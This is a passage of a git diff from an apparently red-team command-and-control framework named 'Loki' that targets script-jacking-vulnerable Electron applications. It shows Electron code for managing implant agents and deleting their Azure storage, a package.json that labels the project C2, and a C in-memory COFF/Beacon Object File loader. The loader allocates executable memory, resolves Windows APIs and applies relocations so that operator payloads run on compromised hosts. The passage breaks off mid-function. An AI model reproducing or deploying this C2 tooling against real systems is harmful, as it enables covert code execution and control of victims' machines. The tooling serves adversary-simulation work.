//console.log(`container_key : ${JSON.stringify(container_key)}`);
|
||||
if (container_blobs != false && container_key)
|
||||
{
|
||||
try
|
||||
{
|
||||
await az.DeleteStorageContainer( agentData.containerid, config );
|
||||
await az.DeleteStorageBlob( config.metaContainer, agentData.agentid, config );
|
||||
//console.log(`agents : ${JSON.stringify(agents)}`);
|
||||
if (dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
console.log(`Remove error : ${error} ${error.stack}`);
|
||||
}
|
||||
{
|
||||
label: 'Remove',
|
||||
click: async () => {
|
||||
try {
|
||||
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
|
||||
global.haltUpdate = true;
|
||||
|
||||
// Handle agent window cleanup
|
||||
if (global.agentWindowHandles[agentid]) {
|
||||
try {
|
||||
console.log(`Closing window for agent ID: ${agentid}`);
|
||||
global.agentWindowHandles[agentid].destroy();
|
||||
delete global.agentWindowHandles[agentid];
|
||||
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === agentid) {
|
||||
console.log(`Before pop : global.agentids[] : ${global.agentids}`);
|
||||
agents.pop(agents[i]);
|
||||
global.agentids.pop(agentid);
|
||||
console.log(`After pop : global.agentids[] : ${global.agentids}`);
|
||||
}
|
||||
}
|
||||
global.agentwindows--;
|
||||
} catch (windowError) {
|
||||
console.log(`Error cleaning up agent window: ${windowError} ${windowError.stack}`);
|
||||
global.haltUpdate = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Explorer',
|
||||
click: () => {
|
||||
console.log(`Explorer clicked for agent ID: ${agentid}`);
|
||||
createExplorerWindow(agentDataJSON);
|
||||
// Implement the logic for Explorer option here
|
||||
|
||||
// Handle dashboard updates
|
||||
if (global.dashboardWindow) {
|
||||
try {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
global.dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
} catch (dashboardError) {
|
||||
console.log(`[REMOVE][!] Error updating dashboard: \r\n${dashboardError}\r\n${dashboardError.stack}`);
|
||||
global.haltUpdate = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
// Handle storage cleanup
|
||||
try {
|
||||
await az.DeleteStorageBlob(global.config.metaContainer, agentData.agentid);
|
||||
await az.DeleteStorageContainer(agentData.containerid);
|
||||
|
||||
if (global.dashboardWindow) {
|
||||
console.log(`dashboardWindow exists`);
|
||||
console.log(`calling IPC remove-table row for ${agentid} agent`);
|
||||
global.dashboardWindow.webContents.send('remove-table-row', agentid);
|
||||
}
|
||||
} catch (storageError) {
|
||||
console.log(`[REMOVE][!] Error cleaning up storage: \r\n${storageError}\r\n${storageError.stack}`);
|
||||
global.haltUpdate = false;
|
||||
return;
|
||||
}
|
||||
global.haltUpdate = false;
|
||||
} catch (error) {
|
||||
console.log(`[REMOVE][!] Unexpected error in remove operation: \r\n${error}\r\n${error.stack}`);
|
||||
global.haltUpdate = false;
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
label: 'Explorer',
|
||||
click: () => {
|
||||
console.log(`Explorer clicked for agent ID: ${agentid}`);
|
||||
createExplorerWindow(agentDataJSON);
|
||||
}
|
||||
}
|
||||
]);
|
||||
contextMenu.popup(BrowserWindow.fromWebContents(event.sender));
|
||||
});
|
||||
@@ -529,13 +508,12 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
|
||||
});
|
||||
|
||||
ipcMain.on('update-config', (event, newConfig) => {
|
||||
//const configPath = path.join(__dirname, 'config.js');
|
||||
const configPath = directories.configFilePath;
|
||||
fs.writeFileSync(configPath, `module.exports = ${JSON.stringify(newConfig, null, 4)};`);
|
||||
console.log("Configuration updated:", newConfig);
|
||||
config = newConfig;
|
||||
metaContainer = config.metaContainer;
|
||||
global.config = newConfig;
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
|
||||
+7
-11
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "loki-c2-client",
|
||||
"version": "1.0.0",
|
||||
"name": "loki",
|
||||
"version": "2.0.0",
|
||||
"main": "./kernel.js",
|
||||
"scripts": {
|
||||
"start": "electron .",
|
||||
@@ -8,18 +8,18 @@
|
||||
"pack": "electron-builder --dir",
|
||||
"dist": "electron-builder"
|
||||
},
|
||||
"keywords": [],
|
||||
"keywords": ["C2","Electron","Red Team","adversary simulation","https://x.com/0xBoku","https://www.linkedin.com/in/bobby-cooke/"],
|
||||
"author": "Bobby Cooke",
|
||||
"homepage": "https://0xBoku.com",
|
||||
"license": "MIT",
|
||||
"description": "",
|
||||
"license": "BSL",
|
||||
"description": "Node.js Command & Control for Script-Jacking Vulnerable Electron Applications",
|
||||
"devDependencies": {
|
||||
"electron": "^31.1.0",
|
||||
"electron-builder": "^25.1.8"
|
||||
},
|
||||
"build": {
|
||||
"appId": "com.0xBoku.Loki-C2-Client",
|
||||
"productName": "Loki C2 Client",
|
||||
"appId": "com.0xBoku.Loki",
|
||||
"productName": "Loki",
|
||||
"copyright": "© 2025 Bobby Cooke",
|
||||
"asar": true,
|
||||
"files": [
|
||||
@@ -33,16 +33,12 @@
|
||||
"mac": {
|
||||
"icon": "assets/mac/icon.icns",
|
||||
"target": [
|
||||
"dmg",
|
||||
"zip"
|
||||
]
|
||||
},
|
||||
"win": {
|
||||
"icon": "assets/win/icon.ico",
|
||||
"target": [
|
||||
"msi",
|
||||
"portable",
|
||||
"nsis",
|
||||
"zip"
|
||||
]
|
||||
},
|
||||
|
||||
@@ -0,0 +1,785 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <napi.h>
|
||||
|
||||
#if defined(_WIN32)
|
||||
#include <windows.h>
|
||||
#include "beacon_compatibility.h"
|
||||
#endif
|
||||
|
||||
#include "COFFLoader.h"
|
||||
|
||||
/* Enable or disable debug output if testing or adding new relocation types */
|
||||
#ifdef DEBUG
|
||||
#define DEBUG_PRINT(x, ...) printf(x, ##__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG_PRINT(x, ...)
|
||||
#endif
|
||||
|
||||
|
||||
/* Defining symbols for the OS version, will try to define anything that is
|
||||
* different between the arch versions by specifying them here. */
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
#define PREPENDSYMBOLVALUE "__imp_"
|
||||
#else
|
||||
#define PREPENDSYMBOLVALUE "__imp__"
|
||||
#endif
|
||||
|
||||
#define COFFLOADER_RETURN_VAL_IF(expr, val, fmt, ...) if ((expr)) { DEBUG_PRINT(fmt, ##__VA_ARGS__); return val; }
|
||||
|
||||
unsigned char* unhexlify(unsigned char* value, int *outlen) {
|
||||
unsigned char* retval = NULL;
|
||||
char byteval[3] = { 0 };
|
||||
unsigned int counter = 0;
|
||||
int counter2 = 0;
|
||||
char character = 0;
|
||||
if (value == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
DEBUG_PRINT("Unhexlify Strlen: %lu\n", (long unsigned int)strlen((char*)value));
|
||||
if (strlen((char*)value) % 2 != 0) {
|
||||
DEBUG_PRINT("Either value is NULL, or the hexlified string isn't valid\n");
|
||||
goto errcase;
|
||||
}
|
||||
|
||||
retval = (unsigned char*) calloc(strlen((char*)value) + 1, 1);
|
||||
if (retval == NULL) {
|
||||
goto errcase;
|
||||
}
|
||||
|
||||
counter2 = 0;
|
||||
for (counter = 0; counter < strlen((char*)value); counter += 2) {
|
||||
memcpy(byteval, value + counter, 2);
|
||||
character = (char)strtol(byteval, NULL, 16);
|
||||
memcpy(retval + counter2, &character, 1);
|
||||
counter2++;
|
||||
}
|
||||
*outlen = counter2;
|
||||
|
||||
errcase:
|
||||
return retval;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* Helper to just get the contents of a file, used for testing. Real
|
||||
* implementations of this in an agent would use the tasking from the
|
||||
* C2 server for this */
|
||||
unsigned char* getContents(char* filepath, uint32_t* outsize) {
|
||||
FILE *fin = NULL;
|
||||
uint32_t fsize = 0;
|
||||
size_t readsize = 0;
|
||||
unsigned char* buffer = NULL;
|
||||
unsigned char* tempbuffer = NULL;
|
||||
|
||||
fin = fopen(filepath, "rb");
|
||||
if (fin == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
fseek(fin, 0, SEEK_END);
|
||||
fsize = ftell(fin);
|
||||
fseek(fin, 0, SEEK_SET);
|
||||
tempbuffer = (unsigned char*) calloc(fsize, 1);
|
||||
if (tempbuffer == NULL) {
|
||||
fclose(fin);
|
||||
return NULL;
|
||||
}
|
||||
memset(tempbuffer, 0, fsize);
|
||||
readsize = fread(tempbuffer, 1, fsize, fin);
|
||||
|
||||
fclose(fin);
|
||||
buffer = (unsigned char*) calloc(readsize, 1);
|
||||
if (buffer == NULL) {
|
||||
free(tempbuffer);
|
||||
return NULL;
|
||||
}
|
||||
memset(buffer, 0, readsize);
|
||||
memcpy(buffer, tempbuffer, readsize - 1);
|
||||
free(tempbuffer);
|
||||
*outsize = fsize;
|
||||
return buffer;
|
||||
}
|
||||
|
||||
static BOOL starts_with(const char* string, const char* substring) {
|
||||
return strncmp(string, substring, strlen(substring)) == 0;
|
||||
}
|
||||
|
||||
/* Helper function to process a symbol string, determine what function and
|
||||
* library its from, and return the right function pointer. Will need to
|
||||
* implement in the loading of the beacon internal functions, or any other
|
||||
* internal functions you want to have available. */
|
||||
void* process_symbol(char* symbolstring) {
|
||||
void* functionaddress = NULL;
|
||||
char localcopy[1024] = { 0 };
|
||||
char* locallib = NULL;
|
||||
char* localfunc = NULL;
|
||||
#if defined(_WIN32)
|
||||
int tempcounter = 0;
|
||||
HMODULE llHandle = NULL;
|
||||
#endif
|
||||
|
||||
strncpy(localcopy, symbolstring, sizeof(localcopy) - 1);
|
||||
if (starts_with(symbolstring, PREPENDSYMBOLVALUE"Beacon") || starts_with(symbolstring, PREPENDSYMBOLVALUE"toWideChar") ||
|
||||
starts_with(symbolstring, PREPENDSYMBOLVALUE"GetProcAddress") || starts_with(symbolstring, PREPENDSYMBOLVALUE"LoadLibraryA") ||
|
||||
starts_with(symbolstring, PREPENDSYMBOLVALUE"GetModuleHandleA") || starts_with(symbolstring, PREPENDSYMBOLVALUE"FreeLibrary") ||
|
||||
starts_with(symbolstring, "__C_specific_handler")) {
|
||||
if(strcmp(symbolstring, "__C_specific_handler") == 0)
|
||||
{
|
||||
localfunc = symbolstring;
|
||||
return InternalFunctions[29][1];
|
||||
}
|
||||
else
|
||||
{
|
||||
localfunc = symbolstring + strlen(PREPENDSYMBOLVALUE);
|
||||
}
|
||||
DEBUG_PRINT("\t\tInternalFunction: %s\n", localfunc);
|
||||
/* TODO: Get internal symbol here and set to functionaddress, then
|
||||
* return the pointer to the internal function*/
|
||||
#if defined(_WIN32)
|
||||
for (tempcounter = 0; tempcounter < 30; tempcounter++) {
|
||||
if (InternalFunctions[tempcounter][0] != NULL) {
|
||||
if (starts_with(localfunc, (char*)(InternalFunctions[tempcounter][0]))) {
|
||||
functionaddress = (void*)InternalFunctions[tempcounter][1];
|
||||
return functionaddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else if (strncmp(symbolstring, PREPENDSYMBOLVALUE, strlen(PREPENDSYMBOLVALUE)) == 0) {
|
||||
DEBUG_PRINT("\t\tYep its an external symbol\n");
|
||||
locallib = localcopy + strlen(PREPENDSYMBOLVALUE);
|
||||
|
||||
locallib = strtok(locallib, "$");
|
||||
localfunc = strtok(NULL, "$");
|
||||
DEBUG_PRINT("\t\tLibrary: %s\n", locallib);
|
||||
localfunc = strtok(localfunc, "@");
|
||||
DEBUG_PRINT("\t\tFunction: %s\n", localfunc);
|
||||
/* Resolve the symbols here, and set the functionpointervalue */
|
||||
#if defined(_WIN32)
|
||||
llHandle = LoadLibraryA(locallib);
|
||||
DEBUG_PRINT("\t\tHandle: 0x%lx\n", llHandle);
|
||||
functionaddress = GetProcAddress(llHandle, localfunc);
|
||||
DEBUG_PRINT("\t\tProcAddress: 0x%p\n", functionaddress);
|
||||
#endif
|
||||
}
|
||||
return functionaddress;
|
||||
}
|
||||
|
||||
/* Just a generic runner for testing, this is pretty much just a reference
|
||||
* implementation, return values will need to be checked, more relocation
|
||||
* types need to be handled, and needs to have different arguments for use
|
||||
* in any agent. */
|
||||
int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize) {
|
||||
//printf("argumentdata: %p\n", argumentdata);
|
||||
//printf("argumentSize: %d\n", argumentSize);
|
||||
coff_sect_t *coff_sect_ptr = NULL;
|
||||
coff_reloc_t *coff_reloc_ptr = NULL;
|
||||
int retcode = 0;
|
||||
int counter = 0;
|
||||
int reloccount = 0;
|
||||
unsigned int tempcounter = 0;
|
||||
uint32_t symptr = 0;
|
||||
|
||||
COFFLOADER_RETURN_VAL_IF(functionname == NULL, 1, "Function name is NULL\n");
|
||||
COFFLOADER_RETURN_VAL_IF(coff_data == NULL, 1, "Can't execute NULL\n");
|
||||
COFFLOADER_RETURN_VAL_IF(filesize == 0, 1, "COFF file size is 0\n");
|
||||
COFFLOADER_RETURN_VAL_IF(filesize < sizeof(struct coff_file_header), 1,
|
||||
"COFF file size too small for a COFF file header\n");
|
||||
|
||||
struct coff_file_header *coff_header_ptr = (struct coff_file_header*)coff_data;
|
||||
|
||||
COFFLOADER_RETURN_VAL_IF(coff_header_ptr->PointerToSymbolTable < sizeof(struct coff_file_header),
|
||||
1, "COFF symbol table offset is inside the file header\n");
|
||||
COFFLOADER_RETURN_VAL_IF(filesize < coff_header_ptr->PointerToSymbolTable, 1,
|
||||
"COFF symbol table offset exceeds file size\n");
|
||||
|
||||
// Byte index of the strtab/end of symtab
|
||||
size_t coff_strtab_index =
|
||||
coff_header_ptr->PointerToSymbolTable + coff_header_ptr->NumberOfSymbols * sizeof(struct coff_sym);
|
||||
|
||||
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index, 1, "COFF symbol table exceeds COFF file size\n");
|
||||
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + sizeof(uint32_t), 1,
|
||||
"COFF string table offset exceeds COFF file size\n");
|
||||
|
||||
uint32_t coff_strtab_size = *(uint32_t*)(coff_data + coff_strtab_index);
|
||||
|
||||
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + coff_strtab_size, 1,
|
||||
"COFF string table exceeds COFF file size\n");
|
||||
COFFLOADER_RETURN_VAL_IF(filesize != coff_strtab_index + coff_strtab_size, 1,
|
||||
"COFF file contains extraneous data\n");
|
||||
|
||||
struct coff_sym *coff_sym_ptr = (struct coff_sym*)(coff_data + coff_header_ptr->PointerToSymbolTable);
|
||||
|
||||
#ifdef _WIN32
|
||||
void* funcptrlocation = NULL;
|
||||
size_t offsetvalue = 0;
|
||||
#endif
|
||||
char* entryfuncname = functionname;
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
#ifdef _WIN32
|
||||
uint64_t longoffsetvalue = 0;
|
||||
#endif
|
||||
#else
|
||||
/* Set the input function name to match the 32 bit version */
|
||||
entryfuncname = (char*) calloc(strlen(functionname) + 2, 1);
|
||||
if (entryfuncname == NULL) {
|
||||
return 1;
|
||||
}
|
||||
(void)sprintf((char*)entryfuncname, "_%s", functionname);
|
||||
#endif
|
||||
HMODULE kern = GetModuleHandleA("kernel32.dll");
|
||||
InternalFunctions[29][1] = (unsigned char *) GetProcAddress(kern, "__C_specific_handler");
|
||||
DEBUG_PRINT("found address of %x\n", InternalFunctions[29][1]);
|
||||
#ifdef _WIN32
|
||||
/* NOTE: I just picked a size, look to see what is max/normal. */
|
||||
char** sectionMapping = NULL;
|
||||
#ifdef DEBUG
|
||||
int *sectionSize = NULL;
|
||||
#endif
|
||||
void(*foo)(char* in, unsigned long datalen);
|
||||
char* functionMapping = NULL;
|
||||
int functionMappingCount = 0;
|
||||
int relocationCount = 0;
|
||||
#endif
|
||||
|
||||
DEBUG_PRINT("Machine 0x%X\n", coff_header_ptr->Machine);
|
||||
DEBUG_PRINT("Number of sections: %d\n", coff_header_ptr->NumberOfSections);
|
||||
DEBUG_PRINT("TimeDateStamp : %X\n", coff_header_ptr->TimeDateStamp);
|
||||
DEBUG_PRINT("PointerToSymbolTable : 0x%X\n", coff_header_ptr->PointerToSymbolTable);
|
||||
DEBUG_PRINT("NumberOfSymbols: %u\n", coff_header_ptr->NumberOfSymbols);
|
||||
DEBUG_PRINT("OptionalHeaderSize: %d\n", coff_header_ptr->SizeOfOptionalHeader);
|
||||
DEBUG_PRINT("Characteristics: %d\n", coff_header_ptr->Characteristics);
|
||||
DEBUG_PRINT("\n");
|
||||
/* Actually allocate an array to keep track of the sections */
|
||||
sectionMapping = (char**)calloc(sizeof(char*)*(coff_header_ptr->NumberOfSections+1), 1);
|
||||
#ifdef DEBUG
|
||||
sectionSize = (int*)calloc(sizeof(int)*(coff_header_ptr->NumberOfSections+1), 1);
|
||||
#endif
|
||||
if (sectionMapping == NULL){
|
||||
DEBUG_PRINT("Failed to allocate sectionMapping\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* Handle the allocation and copying of the sections we're going to use
|
||||
* for right now I'm just VirtualAlloc'ing memory, this can be changed to
|
||||
* other methods, but leaving that up to the person implementing it. */
|
||||
for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) {
|
||||
coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter));
|
||||
DEBUG_PRINT("Name: %s\n", coff_sect_ptr->Name);
|
||||
DEBUG_PRINT("VirtualSize: 0x%X\n", coff_sect_ptr->VirtualSize);
|
||||
DEBUG_PRINT("VirtualAddress: 0x%X\n", coff_sect_ptr->VirtualAddress);
|
||||
DEBUG_PRINT("SizeOfRawData: 0x%X\n", coff_sect_ptr->SizeOfRawData);
|
||||
DEBUG_PRINT("PointerToRelocations: 0x%X\n", coff_sect_ptr->PointerToRelocations);
|
||||
DEBUG_PRINT("PointerToRawData: 0x%X\n", coff_sect_ptr->PointerToRawData);
|
||||
DEBUG_PRINT("NumberOfRelocations: %d\n", coff_sect_ptr->NumberOfRelocations);
|
||||
relocationCount += coff_sect_ptr->NumberOfRelocations;
|
||||
/* NOTE: When changing the memory loading information of the loader,
|
||||
* you'll want to use this field and the defines from the Section
|
||||
* Flags table of Microsofts page, some defined in COFFLoader.h */
|
||||
DEBUG_PRINT("Characteristics: %x\n", coff_sect_ptr->Characteristics);
|
||||
#ifdef _WIN32
|
||||
DEBUG_PRINT("Allocating 0x%x bytes\n", coff_sect_ptr->VirtualSize);
|
||||
/* NOTE: Might want to allocate as PAGE_READWRITE and VirtualProtect
|
||||
* before execution to either PAGE_READWRITE or PAGE_EXECUTE_READ
|
||||
* depending on the Section Characteristics. Parse them all again
|
||||
* before running and set the memory permissions. */
|
||||
sectionMapping[counter] = (char*) VirtualAlloc(NULL, coff_sect_ptr->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
#ifdef DEBUG
|
||||
sectionSize[counter] = coff_sect_ptr->SizeOfRawData;
|
||||
#endif
|
||||
if (sectionMapping[counter] == NULL) {
|
||||
DEBUG_PRINT("Failed to allocate memory\n");
|
||||
}
|
||||
DEBUG_PRINT("Allocated section %d at %p\n", counter, sectionMapping[counter]);
|
||||
if (coff_sect_ptr->PointerToRawData != 0){
|
||||
memcpy(sectionMapping[counter], coff_data + coff_sect_ptr->PointerToRawData, coff_sect_ptr->SizeOfRawData);
|
||||
}
|
||||
else{
|
||||
memset(sectionMapping[counter], 0, coff_sect_ptr->SizeOfRawData);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
DEBUG_PRINT("Total Relocations: %d\n", relocationCount);
|
||||
/* Allocate and setup the GOT for functions, same here as above. */
|
||||
/* Actually allocate enough for worst case every relocation, may not be needed, but hey better safe than sorry */
|
||||
#ifdef _WIN32
|
||||
#ifdef _WIN64
|
||||
functionMapping = (char*) VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
#else
|
||||
functionMapping = (char*) VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
#endif
|
||||
if (functionMapping == NULL){
|
||||
DEBUG_PRINT("Failed to allocate functionMapping\n");
|
||||
goto cleanup;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Start parsing the relocations, and *hopefully* handle them correctly. */
|
||||
for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) {
|
||||
DEBUG_PRINT("Doing Relocations of section: %d\n", counter);
|
||||
coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter));
|
||||
coff_reloc_ptr = (coff_reloc_t*)(coff_data + coff_sect_ptr->PointerToRelocations);
|
||||
for (reloccount = 0; reloccount < coff_sect_ptr->NumberOfRelocations; reloccount++) {
|
||||
DEBUG_PRINT("\tVirtualAddress: 0x%X\n", coff_reloc_ptr->VirtualAddress);
|
||||
DEBUG_PRINT("\tSymbolTableIndex: 0x%X\n", coff_reloc_ptr->SymbolTableIndex);
|
||||
DEBUG_PRINT("\tType: 0x%X\n", coff_reloc_ptr->Type);
|
||||
if (coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name[0] != 0) {
|
||||
symptr = coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[1];
|
||||
DEBUG_PRINT("\tSymPtr: 0x%X\n", symptr);
|
||||
DEBUG_PRINT("\tSymName: %s\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name);
|
||||
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
|
||||
|
||||
/* This is the code for relative offsets in other sections of the COFF file. */
|
||||
#ifdef _WIN32
|
||||
#ifdef _WIN64
|
||||
/* Type == 1 relocation is the 64-bit VA of the relocation target */
|
||||
if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR64) {
|
||||
memcpy(&longoffsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(uint64_t));
|
||||
DEBUG_PRINT("\tReadin longOffsetValue : 0x%llX\n", longoffsetvalue);
|
||||
longoffsetvalue = (uint64_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + (uint64_t)longoffsetvalue);
|
||||
longoffsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tModified longOffsetValue : 0x%llX Base Address: %p\n", longoffsetvalue, sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &longoffsetvalue, sizeof(uint64_t));
|
||||
}
|
||||
/* This is Type == 3 relocation code */
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
|
||||
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
|
||||
DEBUG_PRINT("\t\tEnd of Relocation Bytes: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4);
|
||||
if (((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue = ((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\tSetting 0x%p to OffsetValue: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
/* This is Type == 4 relocation code, needed to make global variables to work correctly */
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_1) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
offsetvalue += 1;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_2) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
offsetvalue += 2;
|
||||
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
|
||||
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
|
||||
}
|
||||
|
||||
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_3) {
|
||||
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
|
||||
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
|
||||
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
|
||||
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
|
||||
retcode = 1;
|
||||
goto cleanup;
|
||||
}
|
||||
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
|
||||
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
|
||||
offsetvalue += 3;
|
||||
